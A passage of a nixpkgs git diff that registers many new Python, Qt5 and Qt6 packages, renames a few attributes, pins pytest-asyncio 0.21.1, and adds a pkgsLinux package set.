callPackage ../development/python-modules/llama-index-program-openai { }; + + llama-index-question-gen-openai = callPackage ../development/python-modules/llama-index-question-gen-openai { }; + + llama-index-readers-file = callPackage ../development/python-modules/llama-index-readers-file { }; + + llama-index-readers-json = callPackage ../development/python-modules/llama-index-readers-json { }; + + llama-index-readers-llama-parse = callPackage ../development/python-modules/llama-index-readers-llama-parse { }; + + llama-index-readers-weather = callPackage ../development/python-modules/llama-index-readers-weather { }; + + llama-index-vector-stores-chroma = callPackage ../development/python-modules/llama-index-vector-stores-chroma { }; + + llama-parse = callPackage ../development/python-modules/llama-parse { }; + + llamaindex-py-client = callPackage ../development/python-modules/llamaindex-py-client { }; + llfuse = callPackage ../development/python-modules/llfuse { inherit (pkgs) fuse; }; @@ -6713,6 +6827,8 @@ self: super: with self; { ltpycld2 = callPackage ../development/python-modules/ltpycld2 { }; + lttng = callPackage ../development/python-modules/lttng { }; + luddite = callPackage ../development/python-modules/luddite { }; luftdaten = callPackage ../development/python-modules/luftdaten { }; @@ -7033,7 +7149,7 @@ self: super: with self; { meshtastic = callPackage ../development/python-modules/meshtastic { }; - meson = toPythonModule ((pkgs.meson.override { python3 = python; }).overrideAttrs + meson = toPythonModule ((pkgs.meson.override { python3 = python; }).overridePythonAttrs (oldAttrs: { # We do not want the setup hook in Python packages because the build is performed differently. setupHook = null; })); @@ -7072,6 +7188,16 @@ self: super: with self; { microdata = callPackage ../development/python-modules/microdata { }; + microsoft-kiota-abstractions = callPackage ../development/python-modules/microsoft-kiota-abstractions { }; + + microsoft-kiota-authentication-azure = callPackage ../development/python-modules/microsoft-kiota-authentication-azure { }; + + microsoft-kiota-http = callPackage ../development/python-modules/microsoft-kiota-http { }; + + microsoft-kiota-serialization-json = callPackage ../development/python-modules/microsoft-kiota-serialization-json { }; + + microsoft-kiota-serialization-text = callPackage ../development/python-modules/microsoft-kiota-serialization-text { }; + midiutil = callPackage ../development/python-modules/midiutil { }; mido = callPackage ../development/python-modules/mido { }; @@ -7246,7 +7372,7 @@ self: super: with self; { moderngl = callPackage ../development/python-modules/moderngl { }; - moderngl-window = callPackage ../development/python-modules/moderngl_window { }; + moderngl-window = callPackage ../development/python-modules/moderngl-window { }; modestmaps = callPackage ../development/python-modules/modestmaps { }; @@ -8307,6 +8433,8 @@ self: super: with self; { neo4j = callPackage ../development/python-modules/neo4j { }; + neoteroi-mkdocs = callPackage ../development/python-modules/neoteroi-mkdocs { }; + nessclient = callPackage ../development/python-modules/nessclient { }; nest = toPythonModule(pkgs.nest-mpi.override { withPython = true; python3 = python; }); @@ -8833,6 +8961,8 @@ self: super: with self; { opentelemetry-instrumentation-django = callPackage ../development/python-modules/opentelemetry-instrumentation-django { }; + opentelemetry-instrumentation-fastapi = callPackage ../development/python-modules/opentelemetry-instrumentation-fastapi { }; + opentelemetry-instrumentation-flask = callPackage ../development/python-modules/opentelemetry-instrumentation-flask { }; opentelemetry-instrumentation-grpc = callPackage ../development/python-modules/opentelemetry-instrumentation-grpc { }; @@ -8900,6 +9030,8 @@ self: super: with self; { oras = callPackage ../development/python-modules/oras { }; + orbax-checkpoint = callPackage ../development/python-modules/orbax-checkpoint { }; + orderedmultidict = callPackage ../development/python-modules/orderedmultidict { }; ordered-set = callPackage ../development/python-modules/ordered-set { }; @@ -8920,12 +9052,18 @@ self: super: with self; { osc = callPackage ../development/python-modules/osc { }; + osc-diagram = callPackage ../development/python-modules/osc-diagram { }; + osc-lib = callPackage ../development/python-modules/osc-lib { }; - oscrypto = callPackage ../development/python-modules/oscrypto { }; + osc-sdk-python = callPackage ../development/python-modules/osc-sdk-python { }; oscpy = callPackage ../development/python-modules/oscpy { }; + oscrypto = callPackage ../development/python-modules/oscrypto { }; + + oscscreen = callPackage ../development/python-modules/oscscreen { }; + oset = callPackage ../development/python-modules/oset { }; osmnx = callPackage ../development/python-modules/osmnx { }; @@ -9303,6 +9441,8 @@ self: super: with self; { alembic = pkgs.alembic; }; + outlines = callPackage ../development/python-modules/outlines { }; + overly = callPackage ../development/python-modules/overly { }; overpy = callPackage ../development/python-modules/overpy { }; @@ -9333,6 +9473,8 @@ self: super: with self; { pyprecice = callPackage ../development/python-modules/pyprecice { }; + pyprobables = callPackage ../development/python-modules/pyprobables { }; + pyproject-api = callPackage ../development/python-modules/pyproject-api { }; pyproject-hooks = callPackage ../development/python-modules/pyproject-hooks { }; @@ -9550,6 +9692,8 @@ self: super: with self; { pynobo = callPackage ../development/python-modules/pynobo { }; + pynose = callPackage ../development/python-modules/pynose { }; + pynuki = callPackage ../development/python-modules/pynuki { }; pynut2 = callPackage ../development/python-modules/pynut2 { }; @@ -9684,6 +9828,8 @@ self: super: with self; { python-tado = callPackage ../development/python-modules/python-tado { }; + python-idzip = callPackage ../development/python-modules/python-idzip { }; + pythonfinder = callPackage ../development/python-modules/pythonfinder { }; pytomorrowio = callPackage ../development/python-modules/pytomorrowio { }; @@ -9887,10 +10033,14 @@ self: super: with self; { primecountpy = callPackage ../development/python-modules/primecountpy { }; + primepy = callPackage ../development/python-modules/primepy { }; + primer3 = callPackage ../development/python-modules/primer3 { }; priority = callPackage ../development/python-modules/priority { }; + prisma = callPackage ../development/python-modules/prisma { }; + prison = callPackage ../development/python-modules/prison { }; proboscis = callPackage ../development/python-modules/proboscis { }; @@ -9909,10 +10059,14 @@ self: super: with self; { progress = callPackage ../development/python-modules/progress { }; + prometheus-api-client = callPackage ../development/python-modules/prometheus-api-client { }; + prometheus-client = callPackage ../development/python-modules/prometheus-client { }; prometheus-flask-exporter = callPackage ../development/python-modules/prometheus-flask-exporter { }; + prometrix = callPackage ../development/python-modules/prometrix { }; + promise = callPackage ../development/python-modules/promise { }; prompt-toolkit = callPackage ../development/python-modules/prompt-toolkit { }; @@ -10021,6 +10175,8 @@ self: super: with self; { pulp = callPackage ../development/python-modules/pulp { }; + pulsar-client = callPackage ../development/python-modules/pulsar-client { }; + pulsectl-asyncio = callPackage ../development/python-modules/pulsectl-asyncio { }; pulsectl = callPackage ../development/python-modules/pulsectl { }; @@ -10141,6 +10297,16 @@ self: super: with self; { pyannotate = callPackage ../development/python-modules/pyannotate { }; + pyannote-audio = callPackage ../development/python-modules/pyannote-audio { }; + + pyannote-pipeline = callPackage ../development/python-modules/pyannote-pipeline { }; + + pyannote-metrics = callPackage ../development/python-modules/pyannote-metrics { }; + + pyannote-database = callPackage ../development/python-modules/pyannote-database { }; + + pyannote-core = callPackage ../development/python-modules/pyannote-core { }; + pyarlo = callPackage ../development/python-modules/pyarlo { }; pyarr = callPackage ../development/python-modules/pyarr { }; @@ -10205,6 +10371,8 @@ self: super: with self; { pybravia = callPackage ../development/python-modules/pybravia { }; + pybrowsers = callPackage ../development/python-modules/pybrowsers { }; + pybrowserid = callPackage ../development/python-modules/pybrowserid { }; pybtex = callPackage ../development/python-modules/pybtex { }; @@ -10485,6 +10653,8 @@ self: super: with self; { pyexcel-xls = callPackage ../development/python-modules/pyexcel-xls { }; + pyexiftool = callPackage ../development/python-modules/pyexiftool { }; + pyexploitdb = callPackage ../development/python-modules/pyexploitdb { }; pyezviz = callPackage ../development/python-modules/pyezviz { }; @@ -10973,6 +11143,8 @@ self: super: with self; { pyocd = callPackage ../development/python-modules/pyocd { }; + pyocd-pemicro = callPackage ../development/python-modules/pyocd-pemicro { }; + pyocr = callPackage ../development/python-modules/pyocr { tesseract = pkgs.tesseract4; }; @@ -11270,6 +11442,20 @@ self: super: with self; { inherit (pkgs.darwin.apple_sdk.frameworks) PCSC; }; + pyscaffold = callPackage ../development/python-modules/pyscaffold { }; + + pyscaffoldext-cookiecutter = callPackage ../development/python-modules/pyscaffoldext-cookiecutter { }; + + pyscaffoldext-custom-extension = callPackage ../development/python-modules/pyscaffoldext-custom-extension { }; + + pyscaffoldext-django = callPackage ../development/python-modules/pyscaffoldext-django { }; + + pyscaffoldext-dsproject = callPackage ../development/python-modules/pyscaffoldext-dsproject { }; + + pyscaffoldext-markdown = callPackage ../development/python-modules/pyscaffoldext-markdown { }; + + pyscaffoldext-travis = callPackage ../development/python-modules/pyscaffoldext-travis { }; + pyscf = callPackage ../development/python-modules/pyscf { }; pyschedule = callPackage ../development/python-modules/pyschedule { }; @@ -11524,6 +11710,16 @@ self: super: with self; { pytest-asyncio = callPackage ../development/python-modules/pytest-asyncio { }; + pytest-asyncio_0_21 = pytest-asyncio.overridePythonAttrs (old: rec { + version = "0.21.1"; + src = pkgs.fetchFromGitHub { + owner = "pytest-dev"; + repo = "pytest-asyncio"; + rev = "refs/tags/v${version}"; + hash = "sha256-Wpo8MpCPGiXrckT2x5/yBYtGlzso/L2urG7yGc7SPkA="; + }; + }); + pytest-bdd = callPackage ../development/python-modules/pytest-bdd { }; pytest-benchmark = callPackage ../development/python-modules/pytest-benchmark { }; @@ -11641,6 +11837,8 @@ self: super: with self; { pytest-mypy-plugins = callPackage ../development/python-modules/pytest-mypy-plugins { }; + pytest-notebook = callPackage ../development/python-modules/pytest-notebook { }; + pytest-openfiles = callPackage ../development/python-modules/pytest-openfiles { }; pytest-order = callPackage ../development/python-modules/pytest-order { }; @@ -12026,6 +12224,8 @@ self: super: with self; { python-stdnum = callPackage ../development/python-modules/python-stdnum { }; + python-technove = callPackage ../development/python-modules/python-technove { }; + python-telegram = callPackage ../development/python-modules/python-telegram { }; python-telegram-bot = callPackage ../development/python-modules/python-telegram-bot { }; @@ -12306,6 +12506,8 @@ self: super: with self; { qcs-api-client = callPackage ../development/python-modules/qcs-api-client { }; + qcs-sdk-python = callPackage ../development/python-modules/qcs-sdk-python { }; + qdarkstyle = callPackage ../development/python-modules/qdarkstyle { }; qdldl = callPackage ../development/python-modules/qdldl { }; @@ -12417,6 +12619,8 @@ self: super: with self; { queuelib = callPackage ../development/python-modules/queuelib { }; + quil = callPackage ../development/python-modules/quil { }; + qutip = callPackage ../development/python-modules/qutip { }; qmk-dotty-dict = callPackage ../development/python-modules/qmk-dotty-dict { }; @@ -12455,6 +12659,8 @@ self: super: with self; { rangehttpserver = callPackage ../development/python-modules/rangehttpserver { }; + rangeparser = callPackage ../development/python-modules/rangeparser { }; + rank-bm25 = callPackage ../development/python-modules/rank-bm25 { }; rapidfuzz = callPackage ../development/python-modules/rapidfuzz { }; @@ -12554,6 +12760,8 @@ self: super: with self; { referencing = callPackage ../development/python-modules/referencing { }; + refery = callPackage ../development/python-modules/refery { }; + reflink = callPackage ../development/python-modules/reflink { }; regenmaschine = callPackage ../development/python-modules/regenmaschine { }; @@ -12660,8 +12868,12 @@ self: super: with self; { reretry = callPackage ../development/python-modules/reretry { }; + rerun-sdk = callPackage ../development/python-modules/rerun-sdk { }; + resampy = callPackage ../development/python-modules/resampy { }; + resend = callPackage ../development/python-modules/resend { }; + resize-right = callPackage ../development/python-modules/resize-right { }; resolvelib = callPackage ../development/python-modules/resolvelib { }; @@ -13472,7 +13684,7 @@ self: super: with self; { smpplib = callPackage ../development/python-modules/smpplib { }; - smpp_pdu = callPackage ../development/python-modules/smpp.pdu { }; + smpp-pdu = callPackage ../development/python-modules/smpp.pdu { }; smtpdfix = callPackage ../development/python-modules/smtpdfix { }; @@ -13914,6 +14126,8 @@ self: super: with self; { statsmodels = callPackage ../development/python-modules/statsmodels { }; + std-uritemplate = callPackage ../development/python-modules/std-uritemplate { }; + std2 = callPackage ../development/python-modules/std2 { }; stdiomask = callPackage ../development/python-modules/stdiomask { }; @@ -14108,6 +14322,10 @@ self: super: with self; { systembridge = callPackage ../development/python-modules/systembridge { }; + systembridgeconnector = callPackage ../development/python-modules/systembridgeconnector { }; + + systembridgemodels = callPackage ../development/python-modules/systembridgemodels { }; + systemd = callPackage ../development/python-modules/systemd { inherit (pkgs) systemd; }; @@ -14217,6 +14435,8 @@ self: super: with self; { tenacity = callPackage ../development/python-modules/tenacity { }; + tencentcloud-sdk-python = callPackage ../development/python-modules/tencentcloud-sdk-python { }; + tensorboard-data-server = callPackage ../development/python-modules/tensorboard-data-server { }; tensorboard-plugin-profile = callPackage ../development/python-modules/tensorboard-plugin-profile { }; @@ -14463,6 +14683,8 @@ self: super: with self; { throttler = callPackage ../development/python-modules/throttler { }; + thttp = callPackage ../development/python-modules/thttp { }; + tkinter = callPackage ../development/python-modules/tkinter { py = python.override { x11Support=true; }; }; @@ -14545,6 +14767,8 @@ self: super: with self; { tlslite-ng = callPackage ../development/python-modules/tlslite-ng { }; + tls-client = callPackage ../development/python-modules/tls-client { }; + tls-parser = callPackage ../development/python-modules/tls-parser { }; tlv8 = callPackage ../development/python-modules/tlv8 { }; @@ -14592,6 +14816,10 @@ self: super: with self; { inherit (pkgs.darwin) libobjc; }; + torch-audiomentations = callPackage ../development/python-modules/torch-audiomentations { }; + + torch-pitch-shift = callPackage ../development/python-modules/torch-pitch-shift { }; + torch-bin = callPackage ../development/python-modules/torch/bin.nix { openai-triton = self.openai-triton-bin; }; @@ -15616,6 +15844,8 @@ self: super: with self; { types-ipaddress = callPackage ../development/python-modules/types-ipaddress { }; + types-lxml = callPackage ../development/python-modules/types-lxml { }; + types-markdown = callPackage ../development/python-modules/types-markdown { }; types-mock = callPackage ../development/python-modules/types-mock { }; @@ -15954,6 +16184,8 @@ self: super: with self; { verboselogs = callPackage ../development/python-modules/verboselogs { }; + verlib2 = callPackage ../development/python-modules/verlib2 { }; + versioneer = callPackage ../development/python-modules/versioneer { }; versionfinder = callPackage ../development/python-modules/versionfinder { }; @@ -16010,6 +16242,8 @@ self: super: with self; { viv-utils = callPackage ../development/python-modules/viv-utils { }; + vllm = callPackage ../development/python-modules/vllm { }; + vmprof = callPackage ../development/python-modules/vmprof { }; vncdo = callPackage ../development/python-modules/vncdo { }; @@ -16073,6 +16307,8 @@ self: super: with self; { wagtail-localize = callPackage ../development/python-modules/wagtail-localize { }; + wagtail-modeladmin = callPackage ../development/python-modules/wagtail-modeladmin { }; + waitress = callPackage ../development/python-modules/waitress { }; waitress-django = callPackage ../development/python-modules/waitress-django { }; @@ -16164,6 +16400,8 @@ self: super: with self; { webdavclient3 = callPackage ../development/python-modules/webdavclient3 { }; + webdriver-manager = callPackage ../development/python-modules/webdriver-manager { }; + webencodings = callPackage ../development/python-modules/webencodings { }; webexteamssdk = callPackage ../development/python-modules/webexteamssdk { }; @@ -16218,6 +16456,8 @@ self: super: with self; { wheezy-template = callPackage ../development/python-modules/wheezy-template { }; + whenever = callPackage ../development/python-modules/whenever { }; + whichcraft = callPackage ../development/python-modules/whichcraft { }; whirlpool-sixth-sense = callPackage ../development/python-modules/whirlpool-sixth-sense { }; @@ -16234,6 +16474,8 @@ self: super: with self; { whois-api = callPackage ../development/python-modules/whois-api { }; + whoisdomain = callPackage ../development/python-modules/whoisdomain { }; + whoosh = callPackage ../development/python-modules/whoosh { }; widgetsnbextension = callPackage ../development/python-modules/widgetsnbextension { }; @@ -16246,6 +16488,8 @@ self: super: with self; { wikipedia = callPackage ../development/python-modules/wikipedia { }; + wikipedia2vec = callPackage ../development/python-modules/wikipedia2vec { }; + wikipedia-api = callPackage ../development/python-modules/wikipedia-api { }; wikitextparser = callPackage ../development/python-modules/wikitextparser { }; @@ -16417,7 +16661,9 @@ self: super: with self; { xpybutil = callPackage ../development/python-modules/xpybutil { }; - xrootd = callPackage ../development/python-modules/xrootd { }; + xrootd = callPackage ../development/python-modules/xrootd { + inherit (pkgs) xrootd; + }; xsdata = callPackage ../development/python-modules/xsdata { }; diff --git a/pkgs/top-level/qt5-packages.nix b/pkgs/top-level/qt5-packages.nix index decb953834388..0cf6ab88c323b 100644 --- a/pkgs/top-level/qt5-packages.nix +++ b/pkgs/top-level/qt5-packages.nix @@ -100,6 +100,16 @@ in (noExtraAttrs (kdeFrameworks // plasmaMobileGear // plasma5 // plasma5.thirdP fcitx5-qt = callPackage ../tools/inputmethods/fcitx5/fcitx5-qt.nix { }; + fcitx5-chinese-addons = callPackage ../tools/inputmethods/fcitx5/fcitx5-chinese-addons.nix { }; + + fcitx5-configtool = callPackage ../tools/inputmethods/fcitx5/fcitx5-configtool.nix { }; + + fcitx5-skk-qt = callPackage ../tools/inputmethods/fcitx5/fcitx5-skk.nix { enableQt = true; }; + + fcitx5-unikey = callPackage ../tools/inputmethods/fcitx5/fcitx5-unikey.nix { }; + + fcitx5-with-addons = callPackage ../tools/inputmethods/fcitx5/with-addons.nix { }; + futuresql = callPackage ../development/libraries/futuresql { }; qgpgme = callPackage ../development/libraries/gpgme { }; @@ -245,6 +255,8 @@ in (noExtraAttrs (kdeFrameworks // plasmaMobileGear // plasma5 // plasma5.thirdP quazip = callPackage ../development/libraries/quazip { }; + quickflux = callPackage ../development/libraries/quickflux { }; + qscintilla = callPackage ../development/libraries/qscintilla { }; qwt = callPackage ../development/libraries/qwt/default.nix { }; @@ -255,6 +267,8 @@ in (noExtraAttrs (kdeFrameworks // plasmaMobileGear // plasma5 // plasma5.thirdP qzxing = callPackage ../development/libraries/qzxing { }; + rlottie-qml = callPackage ../development/libraries/rlottie-qml { }; + soqt = callPackage ../development/libraries/soqt { }; telepathy = callPackage ../development/libraries/telepathy/qt { }; diff --git a/pkgs/top-level/qt6-packages.nix b/pkgs/top-level/qt6-packages.nix index 3732386d86883..07bff4a9c3273 100644 --- a/pkgs/top-level/qt6-packages.nix +++ b/pkgs/top-level/qt6-packages.nix @@ -10,6 +10,7 @@ , generateSplicesForMkScope , stdenv , pkgsHostTarget +, kdePackages }: let @@ -29,10 +30,26 @@ makeScopeWithSplicing' { inherit stdenv; # LIBRARIES + accounts-qt = callPackage ../development/libraries/accounts-qt { }; appstream-qt = callPackage ../development/libraries/appstream/qt.nix { }; + fcitx5-chinese-addons = callPackage ../tools/inputmethods/fcitx5/fcitx5-chinese-addons.nix { }; + + fcitx5-configtool = kdePackages.callPackage ../tools/inputmethods/fcitx5/fcitx5-configtool.nix { }; + + fcitx5-qt = callPackage ../tools/inputmethods/fcitx5/fcitx5-qt.nix { }; + + fcitx5-skk-qt = callPackage ../tools/inputmethods/fcitx5/fcitx5-skk.nix { enableQt = true; }; + + fcitx5-unikey = callPackage ../tools/inputmethods/fcitx5/fcitx5-unikey.nix { }; + + fcitx5-with-addons = callPackage ../tools/inputmethods/fcitx5/with-addons.nix { }; + kdsoap = callPackage ../development/libraries/kdsoap { }; + kcolorpicker = callPackage ../development/libraries/kcolorpicker { }; + kimageannotator = callPackage ../development/libraries/kimageannotator { }; + futuresql = callPackage ../development/libraries/futuresql { }; kquickimageedit = callPackage ../development/libraries/kquickimageedit { }; libqaccessibilityclient = callPackage ../development/libraries/libqaccessibilityclient { }; @@ -88,6 +105,8 @@ makeScopeWithSplicing' { # is, to allow users to choose the right build if needed. sddm = callPackage ../applications/display-managers/sddm {}; + signond = callPackage ../development/libraries/signond {}; + waylib = callPackage ../development/libraries/waylib { }; wayqt = callPackage ../development/libraries/wayqt { }; diff --git a/pkgs/top-level/release-attrpaths-superset.nix b/pkgs/top-level/release-attrpaths-superset.nix index 55cce6101d71a..cd48453fa0eea 100644 --- a/pkgs/top-level/release-attrpaths-superset.nix +++ b/pkgs/top-level/release-attrpaths-superset.nix @@ -53,6 +53,7 @@ let pkgsStatic = true; pkgsCross = true; pkgsi686Linux = true; + pkgsLinux = true; pkgsExtraHardening = true; }; diff --git a/pkgs/top-level/stage.nix b/pkgs/top-level/stage.nix index cbf0f585fe411..1fc551c0b453b 100644 --- a/pkgs/top-level/stage.nix +++ b/pkgs/top-level/stage.nix @@ -243,6 +243,16 @@ let }; } else throw "x86_64 Darwin package set can only be used on Darwin systems."; + # If already linux: the same package set unaltered + # Otherwise, return a natively built linux package set for the current cpu architecture string. + # (ABI and other details will be set to the default for the cpu/os pair) + pkgsLinux = + if stdenv.hostPlatform.isLinux + then self + else nixpkgsFun { + localSystem = lib.systems.elaborate "${stdenv.hostPlatform.parsed.cpu.name}-linux"; + }; + # Extend the package set with zero or more overlays. This preserves # preexisting overlays. Prefer to initialize with the right overlays # in one go when calling Nixpkgs, for performance and simplicity. |